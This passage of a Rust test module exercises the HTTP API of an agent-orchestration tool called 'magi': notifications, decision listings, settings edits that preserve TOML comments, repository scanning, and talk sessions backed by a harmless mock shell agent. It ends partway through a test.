14433        let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
14434        assert_eq!(res.status, 200, "{}", res.body);
14435        assert_eq!(res.json()["answer"]["text"], "--json");
14436    }
14437
14438    #[tokio::test]
14439    async fn an_unknown_question_is_a_json_404() {
14440        let fx = Fixture::start().await;
14441        let res = fx
14442            .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
14443            .await;
14444        assert_eq!(res.status, 404, "{}", res.body);
14445        assert!(res.json()["error"].is_string());
14446    }
14447
14448    #[tokio::test]
14449    async fn notifications_resolve_live_questions_without_changing_saved_notices() {
14450        let fx = Fixture::start().await;
14451        let questions = Questions::at(fx.home.path().join("questions"));
14452        let store = Notices::at(fx.home.path().join("notifications"));
14453        let mut q = ask::Question::new(
14454            "t1".into(),
14455            "conduct".into(),
14456            "conductor".into(),
14457            "Continue?".into(),
14458            String::new(),
14459            Vec::new(),
14460        );
14461        questions.put(&mut q).unwrap();
14462        let mut n = Notice::warn("task:t1", "Task t1 is held.");
14463        n.covered_by = Some(q.id.clone());
14464        let n = store.raise(n).unwrap();
14465        let listed = fx.get("/api/notifications").await.json();
14466        assert_eq!(listed["items"][0]["answerable_question"], q.id);
14467        questions
14468            .update(&q.id, |q| {
14469                q.abandon("run gone");
14470                Ok(())
14471            })
14472            .unwrap();
14473        let listed = fx.get("/api/notifications").await.json();
14474        assert!(listed["items"][0]["answerable_question"].is_null());
14475        assert_eq!(store.get(&n.id).unwrap().covered_by, Some(q.id));
14476        assert!(
14477            !std::fs::read_to_string(store.root().join(format!("{}.json", n.id)))
14478                .unwrap()
14479                .contains("answerable_question")
14480        );
14481    }
14482
14483    #[tokio::test]
14484    async fn decisions_list_reports_unreadable_records_without_hiding_pending_items() {
14485        let fx = Fixture::start().await;
14486        let outbox = crate::task_inquiry::Outbox::at(fx.home.path());
14487        let task = crate::queue::Task::new(
14488            "work".into(),
14489            "work".into(),
14490            fx.home.path().into(),
14491            crate::queue::Source::Human,
14492        );
14493        let inquiry = outbox
14494            .file(&task, None, "test".into(), "入力待ち", "詳細")
14495            .unwrap();
14496        let root = fx.home.path().join("notifications/task-inquiries");
14497        std::fs::write(root.join("broken.json"), "{").unwrap();
14498        let mut unsupported = inquiry.clone();
14499        unsupported.id = "unsupported".into();
14500        unsupported.schema = 99;
14501        std::fs::write(
14502            root.join("unsupported.json"),
14503            serde_json::to_vec(&unsupported).unwrap(),
14504        )
14505        .unwrap();
14506        let before = std::fs::read(root.join(format!("{}.json", inquiry.id))).unwrap();
14507        for _ in 0..2 {
14508            let response = fx.get("/api/decisions").await;
14509            assert_eq!(response.status, 200, "{}", response.body);
14510            let listed = response.json();
14511            assert_eq!(listed["unreadable"], 2);
14512            assert_eq!(listed["items"].as_array().unwrap().len(), 1);
14513            assert_eq!(listed["items"][0]["id"], inquiry.id);
14514            assert_eq!(listed["items"][0]["decision"]["status"], "awaiting_owner");
14515        }
14516        assert_eq!(
14517            before,
14518            std::fs::read(root.join(format!("{}.json", inquiry.id))).unwrap()
14519        );
14520        assert!(outbox.list().is_err());
14521        std::fs::remove_file(root.join("broken.json")).unwrap();
14522        std::fs::remove_file(root.join("unsupported.json")).unwrap();
14523        assert_eq!(fx.get("/api/decisions").await.json()["unreadable"], 0);
14524    }
14525
14526    #[tokio::test]
14527    async fn decisions_list_exposes_migration_errors_without_acknowledging_them() {
14528        let fx = Fixture::start().await;
14529        let root = fx.home.path().join("notifications/task-chat-migration-v1");
14530        std::fs::create_dir_all(&root).unwrap();
14531        let journal = serde_json::json!({
14532            "schema": 1, "pending": ["saved-inquiry"],
14533            "errors": {"saved-inquiry": "Source is unreadable; no action executed"}
14534        });
14535        let bytes = serde_json::to_vec(&journal).unwrap();
14536        std::fs::write(root.join("state.json"), &bytes).unwrap();
14537        for _ in 0..2 {
14538            let response = fx.get("/api/decisions").await;
14539            assert_eq!(response.status, 200);
14540            let listed = response.json();
14541            assert_eq!(listed["migration_errors"][0]["id"], "saved-inquiry");
14542            assert!(listed["items"].as_array().unwrap().is_empty());
14543            assert_eq!(std::fs::read(root.join("state.json")).unwrap(), bytes);
14544        }
14545        // An unreadable journal must not make the endpoint hide the list.
14546        std::fs::write(root.join("state.json"), b"{").unwrap();
14547        let response = fx.get("/api/decisions").await;
14548        assert_eq!(response.status, 200);
14549        assert_eq!(response.json()["migration_errors"][0]["id"], "migration");
14550    }
14551
14552    #[tokio::test]
14553    async fn notifications_list_read_dismiss_and_health_agree() {
14554        let fx = Fixture::start().await;
14555        let store = Notices::at(fx.home.path().join("notifications"));
14556        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
14557        let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
14558
14559        let a = store.raise(Notice::warn("task:1", "held")).unwrap();
14560        let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
14561
14562        store
14563            .raise(Notice::warn("deputy:deleted-question", "obsolete warning"))
14564            .unwrap();
14565        let health = fx.get("/api/health").await.json();
14566        assert_eq!(health["notifications_unread"], 2);
14567        assert_ne!(
14568            health["notifications_rev"], rev0,
14569            "the badge must move live"
14570        );
14571
14572        let listed = fx.get("/api/notifications").await.json();
14573        assert_eq!(listed["unread"], 2);
14574        assert_eq!(listed["items"].as_array().unwrap().len(), 2);
14575        assert_eq!(listed["items"][0]["severity"], "error", "newest first");
14576
14577        let read = fx
14578            .post(&format!("/api/notifications/{}/read", a.id), None)
14579            .await;
14580        assert_eq!(read.status, 200, "{}", read.body);
14581        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
14582
14583        let gone = fx
14584            .post(&format!("/api/notifications/{}/dismiss", b.id), None)
14585            .await;
14586        assert_eq!(gone.status, 200, "{}", gone.body);
14587        let listed = fx.get("/api/notifications").await.json();
14588        assert_eq!(listed["items"].as_array().unwrap().len(), 1);
14589        assert_eq!(listed["unread"], 0);
14590
14591        store.raise(Notice::info("x", "again")).unwrap();
14592        let all = fx.post("/api/notifications/read-all", None).await;
14593        assert_eq!(all.status, 200, "{}", all.body);
14594        assert_eq!(all.json()["marked"], 1);
14595        assert_eq!(
14596            fx.get("/api/health").await.json()["notifications_unread"],
14597            0
14598        );
14599
14600        let missing = fx.post("/api/notifications/nope/read", None).await;
14601        assert_eq!(missing.status, 404, "{}", missing.body);
14602        assert!(missing.json()["error"].is_string());
14603    }
14604
14605    /// New work reaches the queue through `magi task add`, a standing talk's
14606    /// `magi task add --solo`, or the CLI - never a raw `POST /api/queue` -
14607    /// so the compose form and that route are gone. The tests that covered
14608    /// that route's validation went with it, and nothing was left asserting
14609    /// it stays gone — so a re-added handler would silently let the phone
14610    /// file briefs no one validated.
14611    #[tokio::test]
14612    async fn a_task_cannot_be_filed_over_the_phone_directly() {
14613        let f = Fixture::start().await;
14614
14615        let res = f
14616            .post(
14617                "/api/queue",
14618                Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
14619            )
14620            .await;
14621
14622        assert_eq!(
14623            res.status, 405,
14624            "POST /api/queue must not be a route: {}",
14625            res.body
14626        );
14627        assert!(
14628            f.queue().list().is_empty(),
14629            "a task filed by a route that does not exist must not reach the disk"
14630        );
14631        // The path itself is still served — the Queue view reads it — and the
14632        // per-task controls are untouched by the entry being removed.
14633        assert_eq!(f.get("/api/queue").await.status, 200);
14634    }
14635
14636    /// `<repo>/host/owner/repo/.git`, the ghq layout [`repos::scan`] expects.
14637    fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
14638        std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
14639            .expect("checkout dir");
14640    }
14641
14642    /// Two command agents, so a config needs no real CLI.
14643    const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
14644
14645    fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
14646        let tmp = TempDir::new().expect("tempdir");
14647        let repo = tmp.path().join("repo");
14648        std::fs::create_dir_all(&repo).expect("repo dir");
14649        std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
14650        let machine = tmp.path().join("cfg").join("magi").join("config.toml");
14651        if let Some(text) = machine_toml {
14652            std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
14653            std::fs::write(&machine, text).expect("machine toml");
14654        }
14655        (tmp, repo, machine)
14656    }
14657
14658    async fn settings_checkout(path: &FsPath, text: &str) {
14659        std::fs::create_dir_all(path).unwrap();
14660        std::fs::write(path.join("magi.toml"), text).unwrap();
14661        for args in [
14662            vec!["init", "-b", "main"],
14663            vec!["add", "magi.toml"],
14664            vec![
14665                "-c",
14666                "user.name=Test",
14667                "-c",
14668                "user.email=test@example.invalid",
14669                "commit",
14670                "-m",
14671                "fixture",
14672            ],
14673            vec!["update-ref", "refs/remotes/origin/main", "HEAD"],
14674            vec![
14675                "symbolic-ref",
14676                "refs/remotes/origin/HEAD",
14677                "refs/remotes/origin/main",
14678            ],
14679        ] {
14680            crate::git::git(path, &args).await.unwrap();
14681        }
14682    }
14683
14684    #[tokio::test]
14685    async fn settings_context_handlers_validate_and_save_without_a_socket() {
14686        let (tmp, repo, machine) =
14687            settings_dirs("[roles]\nreviewers = [\"a\"]\n", Some(SETTINGS_AGENTS));
14688        let root = tmp.path().join("roots");
14689        let selected = root.join("host/owner/selected");
14690        settings_checkout(
14691            &selected,
14692            "[roles]\nconductor = \"b\"\n[graph]\njudges = 2\n",
14693        )
14694        .await;
14695        std::fs::write(&machine, format!("{SETTINGS_AGENTS}\n[roles]\nconductor = \"a\"\n[graph]\njudges = 1\n[repos]\nroots = [{}]\nscan_ttl = 3600\n", toml::Value::String(root.display().to_string()))).unwrap();
14696        let before = std::fs::read(&machine).unwrap();
14697        let ui = Arc::new(
14698            Ui::new(
14699                Queue::at(tmp.path().join("queue")),
14700                Questions::at(tmp.path().join("questions")),
14701                Talks::at(tmp.path().join("talks")),
14702                tmp.path().join("runs"),
14703                tmp.path().to_path_buf(),
14704                repo.clone(),
14705            )
14706            .with_machine_config(Some(machine.clone())),
14707        );
14708        let query = || {
14709            Query(SettingsQuery {
14710                repo: Some(selected.clone()),
14711            })
14712        };
14713        let Json(v) = settings_get(State(ui.clone()), query()).await.unwrap();
14714        assert!(v.error.is_none(), "{:?}", v.error);
14715        let conductor = v.roles.iter().find(|r| r.key == "conductor").unwrap();
14716        assert_eq!(conductor.source, "repo");
14717        assert_eq!(
14718            conductor.machine_value,
14719            Some(toml::Value::String("a".into()))
14720        );
14721        assert!(!conductor.editable);
14722        let judges = v.roles.iter().find(|r| r.key == "judges").unwrap();
14723        assert_eq!(
14724            judges.count.as_ref().unwrap().machine_value,
14725            Some(toml::Value::Integer(1))
14726        );
14727        assert!(
14728            !v.roles
14729                .iter()
14730                .find(|r| r.key == "reviewers")
14731                .unwrap()
14732                .editable
14733        );
14734        let unknown = || {
14735            Query(SettingsQuery {
14736                repo: Some(tmp.path().to_path_buf()),
14737            })
14738        };
14739        assert_eq!(
14740            settings_get(State(ui.clone()), unknown())
14741                .await
14742                .unwrap_err()
14743                .status,
14744            StatusCode::UNPROCESSABLE_ENTITY
14745        );
14746        let body = || {
14747            Ok(Json(RolesBody {
14748                revision: v.revision.clone(),
14749                roles: std::collections::BTreeMap::from([("judges".into(), vec!["b".into()])]),
14750                counts: Default::default(),
14751            }))
14752        };
14753        assert_eq!(
14754            settings_put_roles(State(ui.clone()), unknown(), body())
14755                .await
14756                .unwrap_err()
14757                .status,
14758            StatusCode::UNPROCESSABLE_ENTITY
14759        );
14760        assert_eq!(std::fs::read(&machine).unwrap(), before);
14761        let Json(saved) = settings_put_roles(State(ui.clone()), query(), body())
14762            .await
14763            .unwrap();
14764        assert_eq!(
14765            saved.repo,
14766            selected.canonicalize().unwrap().display().to_string()
14767        );
14768        assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
14769        assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
14770        // A cache miss refreshes the stable candidate list exactly for validation.
14771        let fresh = root.join("host/owner/fresh");
14772        settings_checkout(&fresh, "[graph]\nadvisors = 0\n").await;
14773        let Json(fresh_view) = settings_get(State(ui), Query(SettingsQuery { repo: Some(fresh) }))
14774            .await
14775            .unwrap();
14776        assert_eq!(fresh_view.repositories.len(), 3);
14777    }
14778
14779    #[tokio::test]
14780    async fn settings_context_selector_validates_paths_and_preserves_all_checkouts() {
14781        let (tmp, repo, machine) = settings_dirs(
14782            "[roles]\nreviewers = [\"a\"]\n",
14783            Some(&format!("{SETTINGS_AGENTS}\n[graph]\njudges = 1\n")),
14784        );
14785        let root = tmp.path().join("roots");
14786        let selected = root.join("host/owner/selected");
14787        settings_checkout(
14788            &selected,
14789            "[roles]\nadvisors = [\"b\"]\n[graph]\njudges = 2\n",
14790        )
14791        .await;
14792        let broken = root.join("host/owner/broken");
14793        settings_checkout(&broken, "[roles\nbroken").await;
14794        let machine_text = format!(
14795            "{SETTINGS_AGENTS}\n[graph]\njudges = 1\n[repos]\nroots = [{}]\n",
14796            toml::Value::String(root.display().to_string())
14797        );
14798        std::fs::write(&machine, &machine_text).unwrap();
14799        let originals: Vec<_> = [&repo, &selected, &broken]
14800            .iter()
14801            .map(|p| std::fs::read(p.join("magi.toml")).unwrap())
14802            .collect();
14803        let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
14804        let default = f.get("/api/settings").await.json();
14805        assert_eq!(
14806            default["repo"],
14807            repo.canonicalize().unwrap().display().to_string()
14808        );
14809        assert_eq!(default["repositories"].as_array().unwrap().len(), 3);
14810        let query = format!("?repo={}", selected.display());
14811        let res = f.get(&format!("/api/settings{query}")).await;
14812        assert_eq!(res.status, 200, "{}", res.body);
14813        let v = res.json();
14814        assert!(v["error"].is_null(), "{v}");
14815        assert_eq!(v["repositories"], default["repositories"]);
14816        let role = |key: &str| {
14817            v["roles"]
14818                .as_array()
14819                .unwrap()
14820                .iter()
14821                .find(|r| r["key"] == key)
14822                .unwrap()
14823        };
14824        assert_eq!(role("advisors")["configured"], serde_json::json!(["b"]));
14825        assert_eq!(role("advisors")["source"], "repo");
14826        assert_eq!(role("advisors")["editable"], false);
14827        assert!(role("advisors")["machine_value"].is_null());
14828        assert_eq!(role("judges")["count"]["value"], 2);
14829        assert_eq!(role("judges")["count"]["machine_value"], 1);
14830        assert_eq!(role("judges")["count"]["source"], "repo");
14831        let source = role("judges")["count"]["source_path"].as_str().unwrap();
14832        assert!(
14833            source.contains("origin/main") && !source.contains("magi/config/"),
14834            "{source}"
14835        );
14836        assert_eq!(
14837            role("reviewers")["editable"],
14838            false,
14839            "default context outside roots must protect its declarations"
14840        );
14841        let body =
14842            serde_json::json!({"revision": v["revision"], "roles": {"judges": ["b"]}}).to_string();
14843        let unknown = format!("?repo={}", tmp.path().display());
14844        assert_eq!(f.get(&format!("/api/settings{unknown}")).await.status, 422);
14845        assert_eq!(
14846            f.put(&format!("/api/settings/roles{unknown}"), &body)
14847                .await
14848                .status,
14849            422
14850        );
14851        assert_eq!(std::fs::read_to_string(&machine).unwrap(), machine_text);
14852        let refuse = serde_json::json!({"revision": v["revision"], "roles": {"reviewers": ["b"]}})
14853            .to_string();
14854        assert_eq!(
14855            f.put(&format!("/api/settings/roles{query}"), &refuse)
14856                .await
14857                .status,
14858            422
14859        );
14860        let saved = f.put(&format!("/api/settings/roles{query}"), &body).await;
14861        assert_eq!(saved.status, 200, "{}", saved.body);
14862        assert_eq!(saved.json()["repo"], v["repo"]);
14863        assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
14864        assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
14865        for (p, before) in [&repo, &selected, &broken].iter().zip(originals) {
14866            assert_eq!(std::fs::read(p.join("magi.toml")).unwrap(), before);
14867        }
14868        let error = f
14869            .get(&format!("/api/settings?repo={}", broken.display()))
14870            .await;
14871        assert_eq!(error.status, 200);
14872        assert!(error.json()["error"]["message"].is_string());
14873        assert_eq!(error.json()["repositories"], default["repositories"]);
14874    }
14875
14876    #[tokio::test]
14877    async fn settings_get_reports_sources_and_the_advisors_fallback() {
14878        let (_tmp, repo, machine) =
14879            settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
14880        let f = Fixture::with_repo_and_machine(repo, machine).await;
14881        let res = f.get("/api/settings").await;
14882        assert_eq!(res.status, 200, "{}", res.body);
14883        let v = res.json();
14884        assert!(v["error"].is_null(), "{v}");
14885        let role = |k: &str| {
14886            v["roles"]
14887                .as_array()
14888                .and_then(|r| r.iter().find(|x| x["key"] == k))
14889                .cloned()
14890                .unwrap_or_else(|| panic!("no role {k}: {v}"))
14891        };
14892        assert_eq!(role("judges")["source"], "machine");
14893        assert_eq!(role("judges")["editable"], true);
14894        assert_eq!(role("implementers")["source"], "default");
14895        let adv = role("advisors");
14896        assert_eq!(adv["fallback"], "judges");
14897        assert!(
14898            adv["seats"]
14899                .as_array()
14900                .is_some_and(|s| s.iter().all(|x| x == "b")),
14901            "{adv}"
14902        );
14903        assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
14904        assert_eq!(v["agents"][0]["source"], "repo");
14905    }
14906
14907    #[tokio::test]
14908    async fn settings_get_reports_a_config_that_does_not_parse() {
14909        let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
14910        let f = Fixture::with_repo_and_machine(repo, machine).await;
14911        let res = f.get("/api/settings").await;
14912        assert_eq!(res.status, 200, "{}", res.body);
14913        let v = res.json();
14914        assert!(v["error"]["message"].is_string(), "{v}");
14915        assert!(
14916            v["error"]["path"]
14917                .as_str()
14918                .is_some_and(|p| p.ends_with("magi.toml")),
14919            "{v}"
14920        );
14921        assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
14922    }
14923
14924    #[tokio::test]
14925    async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
14926        let (_tmp, repo, machine) = settings_dirs(
14927            SETTINGS_AGENTS,
14928            Some("# mine\n[roles]\n# seats\njudges = [\"a\"]  # note\n\n[vars]\nx = 1\n"),
14929        );
14930        let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
14931        let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
14932        let rev = f.get("/api/settings").await.json()["revision"]
14933            .as_str()
14934            .expect("revision")
14935            .to_owned();
14936        let body = serde_json::json!({
14937            "revision": rev,
14938            "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
14939        })
14940        .to_string();
14941        let res = f.put("/api/settings/roles", &body).await;
14942        assert_eq!(res.status, 200, "{}", res.body);
14943        let text = std::fs::read_to_string(&machine).expect("machine");
14944        assert_eq!(
14945            text,
14946            "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"]  # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
14947        );
14948        assert_eq!(
14949            std::fs::read(repo.join("magi.toml")).expect("read"),
14950            repo_before
14951        );
14952        let again = f.get("/api/settings").await.json();
14953        let judges = again["roles"]
14954            .as_array()
14955            .expect("roles")
14956            .iter()
14957            .find(|r| r["key"] == "judges")
14958            .expect("judges")
14959            .clone();
14960        assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
14961        // The old revision is now stale.
14962        let stale = f.put("/api/settings/roles", &body).await;
14963        assert_eq!(stale.status, 409, "{}", stale.body);
14964    }
14965
14966    #[tokio::test]
14967    async fn settings_counts_are_reported_and_saved() {
14968        let (_tmp, repo, machine) = settings_dirs(
14969            &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
14970            Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
14971        );
14972        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
14973        let v = f.get("/api/settings").await.json();
14974        let count = |v: &serde_json::Value, k: &str| {
14975            v["roles"]
14976                .as_array()
14977                .and_then(|r| r.iter().find(|x| x["key"] == k))
14978                .map(|x| x["count"].clone())
14979                .unwrap_or_else(|| panic!("no role {k}: {v}"))
14980        };
14981        let imp = count(&v, "implementers");
14982        assert_eq!(imp["value"], 2);
14983        assert_eq!(imp["source"], "machine");
14984        assert_eq!(imp["file_key"], "candidates");
14985        assert_eq!(imp["roster_len"], 2);
14986        assert_eq!(imp["backups"], 0);
14987        assert_eq!(count(&v, "judges")["source"], "default");
14988        assert_eq!(count(&v, "advisors")["min"], 0);
14989        assert_eq!(count(&v, "reviewers")["editable"], false);
14990        assert!(
14991            count(&v, "reviewers")["locked_reason"]
14992                .as_str()
14993                .is_some_and(|m| m.contains("graph.reviewers"))
14994        );
14995        assert!(count(&v, "fixer").is_null());
14996        let rev = v["revision"].as_str().expect("revision").to_owned();
14997        let body = serde_json::json!({
14998            "revision": rev,
14999            "roles": { "judges": ["b"] },
15000            "counts": { "implementers": 1, "advisors": 0 }
15001        })
15002        .to_string();
15003        let res = f.put("/api/settings/roles", &body).await;
15004        assert_eq!(res.status, 200, "{}", res.body);
15005        let text = std::fs::read_to_string(&machine).expect("machine");
15006        assert_eq!(
15007            text,
15008            "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
15009        );
15010        let after = f.get("/api/settings").await.json();
15011        assert_eq!(count(&after, "implementers")["value"], 1);
15012        assert_eq!(count(&after, "implementers")["backups"], 1);
15013        assert_eq!(count(&after, "advisors")["value"], 0);
15014        let before = std::fs::read_to_string(&machine).expect("machine");
15015        let rev = after["revision"].as_str().expect("revision").to_owned();
15016        for counts in [
15017            serde_json::json!({ "judges": 0 }),
15018            serde_json::json!({ "judges": "x" }),
15019            serde_json::json!({ "judges": 2.5 }),
15020            serde_json::json!({ "judges": -1 }),
15021            serde_json::json!({ "reviewers": 3 }),
15022            serde_json::json!({ "bogus": 3 }),
15023        ] {
15024            let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
15025            let res = f.put("/api/settings/roles", &body).await;
15026            assert_eq!(res.status, 422, "{counts}: {}", res.body);
15027            assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
15028        }
15029    }
15030
15031    #[tokio::test]
15032    async fn settings_put_refuses_without_touching_the_file() {
15033        let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
15034        let (_tmp, repo, machine) = settings_dirs(
15035            &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
15036            Some(machine_text),
15037        );
15038        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
15039        let rev = f.get("/api/settings").await.json()["revision"]
15040            .as_str()
15041            .expect("revision")
15042            .to_owned();
15043        for roles in [
15044            serde_json::json!({ "judges": ["nope"] }),
15045            serde_json::json!({ "reviewers": ["b"] }),
15046            serde_json::json!({ "bogus": ["a"] }),
15047        ] {
15048            let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
15049            let res = f.put("/api/settings/roles", &body).await;
15050            assert_eq!(res.status, 422, "{roles}: {}", res.body);
15051            assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
15052            assert_eq!(
15053                std::fs::read_to_string(&machine).expect("machine"),
15054                machine_text
15055            );
15056        }
15057    }
15058
15059    #[tokio::test]
15060    async fn repos_list_returns_name_and_path_for_every_configured_root() {
15061        let tmp = TempDir::new().expect("tempdir");
15062        let repo = tmp.path().join("repo");
15063        std::fs::create_dir_all(&repo).expect("repo dir");
15064        let root = tmp.path().join("root");
15065        make_checkout(&root, "github.com", "yukimemi", "magi");
15066        std::fs::write(
15067            repo.join("magi.toml"),
15068            format!(
15069                "[repos]\nroots = [{:?}]\n",
15070                root.to_string_lossy().into_owned()
15071            ),
15072        )
15073        .expect("write magi.toml");
15074
15075        let f = Fixture::with_repo(repo).await;
15076        let res = f.get("/api/repos").await;
15077        assert_eq!(res.status, 200, "{}", res.body);
15078        let list = res.json();
15079        let repos = list.as_array().expect("an array");
15080        assert_eq!(repos.len(), 1);
15081        assert_eq!(repos[0]["name"], "yukimemi/magi");
15082        assert!(
15083            repos[0]["path"]
15084                .as_str()
15085                .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
15086            "{list}"
15087        );
15088    }
15089
15090    #[tokio::test]
15091    async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
15092        let tmp = TempDir::new().expect("tempdir");
15093        let repo = tmp.path().join("repo");
15094        std::fs::create_dir_all(&repo).expect("repo dir");
15095        let root = tmp.path().join("root");
15096        make_checkout(&root, "github.com", "yukimemi", "magi");
15097        std::fs::write(
15098            repo.join("magi.toml"),
15099            format!(
15100                "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
15101                root.to_string_lossy().into_owned()
15102            ),
15103        )
15104        .expect("write magi.toml");
15105
15106        let f = Fixture::with_repo(repo).await;
15107        let first = f.get("/api/repos").await;
15108        assert_eq!(first.json().as_array().map(Vec::len), Some(1));
15109
15110        // A second checkout appears; within the TTL the cached answer must
15111        // not notice it.
15112        make_checkout(&root, "github.com", "yukimemi", "rvpm");
15113        let second = f.get("/api/repos").await;
15114        assert_eq!(
15115            second.json().as_array().map(Vec::len),
15116            Some(1),
15117            "a fresh cache must not rescan inside the TTL"
15118        );
15119
15120        let refreshed = f.get("/api/repos?refresh=1").await;
15121        assert_eq!(
15122            refreshed.json().as_array().map(Vec::len),
15123            Some(2),
15124            "an explicit refresh must rescan even inside the TTL"
15125        );
15126    }
15127
15128    /// A `kind = "command"` agent that ignores its prompt and answers a fixed
15129    /// string, declared straight in a repository's own `magi.toml` rather
15130    /// than the operator's real roster. No real agent CLI is spawned - `sh`
15131    /// is the interpreter, the same as `talk::tests::mock_agent` uses - so
15132    /// this is safe to run over a real HTTP round trip.
15133    const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
15134
15135    /// A repo carrying `MOCK_AGENT_TOML`, for the talk routes that need a
15136    /// real `Config::discover` to find an agent - `talk::begin` resolves one
15137    /// even though it takes no turn, and `talk_say` invokes one.
15138    async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
15139        let tmp = TempDir::new().expect("tempdir");
15140        let repo = tmp.path().join("repo");
15141        std::fs::create_dir_all(&repo).expect("repo dir");
15142        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
15143        let f = Fixture::with_repo(repo.clone()).await;
15144        (tmp, repo, f)
15145    }
15146
15147    #[tokio::test]
15148    async fn posting_a_talk_with_remembered_choices_is_soft() {
15149        let (_tmp, _repo, f) = talk_fixture().await;
15150
15151        let good = f
15152            .post("/api/talks", Some(r#"{"persona":"rei","implementers":1}"#))
15153            .await;
15154        assert_eq!(good.status, 201, "{}", good.body);
15155        assert_eq!(good.json()["persona"], "rei");
15156
15157        // Wrong values and wrong types are dropped one by one, never a 4xx.
15158        let stale = f
15159            .post(
15160                "/api/talks",
15161                Some(r#"{"preferred_agent":"gone","persona":"nobody","implementers":7}"#),
15162            )
15163            .await;
15164        assert_eq!(stale.status, 201, "{}", stale.body);
15165        let v = stale.json();
15166        assert_eq!(v["implementers"], 1);
15167        assert_ne!(v["persona"], "nobody");
15168        let typed = f
15169            .post(
15170                "/api/talks",
15171                Some(r#"{"preferred_agent":3,"persona":[],"implementers":"x"}"#),
15172            )
15173            .await;
15174        assert_eq!(typed.status, 201, "{}", typed.body);
15175
15176        // The strict `agent` field still refuses an unknown id.
15177        let strict = f.post("/api/talks", Some(r#"{"agent":"gone"}"#)).await;
15178        assert!(
15179            !strict.status.to_string().starts_with('2'),
15180            "{}",
15181            strict.body
15182        );
15183    }
15184
15185    #[tokio::test]
15186    async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
15187        let (_tmp, _repo, f) = talk_fixture().await;
15188
15189        // No body at all - `f.post(.., None)` sends no `Content-Type` either -
15190        // is the ordinary way a phone opens a talk.
15191        let opened = f.post("/api/talks", None).await;
15192        assert_eq!(opened.status, 201, "{}", opened.body);
15193        let body = opened.json();
15194        assert_eq!(body["status"], "open");
15195        assert_eq!(
15196            body["turns"].as_array().unwrap().len(),
15197            0,
15198            "opening takes no agent turn: there is nothing yet to answer"
15199        );
15200
15201        // An explicit empty object is the same request as none at all.
15202        let also_opened = f.post("/api/talks", Some("{}")).await;
15203        assert_eq!(also_opened.status, 201, "{}", also_opened.body);
15204
15205        let listed = f.get("/api/talks").await.json();
15206        assert_eq!(listed.as_array().unwrap().len(), 2);
15207    }
15208
15209    #[tokio::test]
15210    async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
15211        let tmp = TempDir::new().expect("tempdir");
15212        let repo = tmp.path().join("repo");
15213        std::fs::create_dir_all(&repo).expect("repo dir");
15214        let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
15215        std::fs::write(
15216            repo.join("magi.toml"),
15217            format!("{MOCK_AGENT_TOML}\n{second}"),
15218        )
15219        .expect("write magi.toml");
15220        let home = TempDir::new().expect("temp home");
15221        let talks = Talks::at(home.path().join("talks"));
15222        let ui = Arc::new(
15223            Ui::new(
15224                Queue::at(home.path().join("queue")),
15225                Questions::at(home.path().join("questions")),
15226                talks.clone(),
15227                home.path().join("runs"),
15228                home.path().to_path_buf(),
15229                repo.clone(),
15230            )
15231            .with_worktrees_root(home.path().join("wt")),
15232        );
15233        let cfg = config_for(&repo).await.expect("discover config");
15234        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
15235        let id = talk.id.clone();
15236        let call = |agent: &str| {
15237            talk_agent(
15238                State(Arc::clone(&ui)),
15239                Path(id.clone()),
15240                Json(TalkAgent {
15241                    agent: agent.to_owned(),
15242                }),
15243            )
15244        };
15245
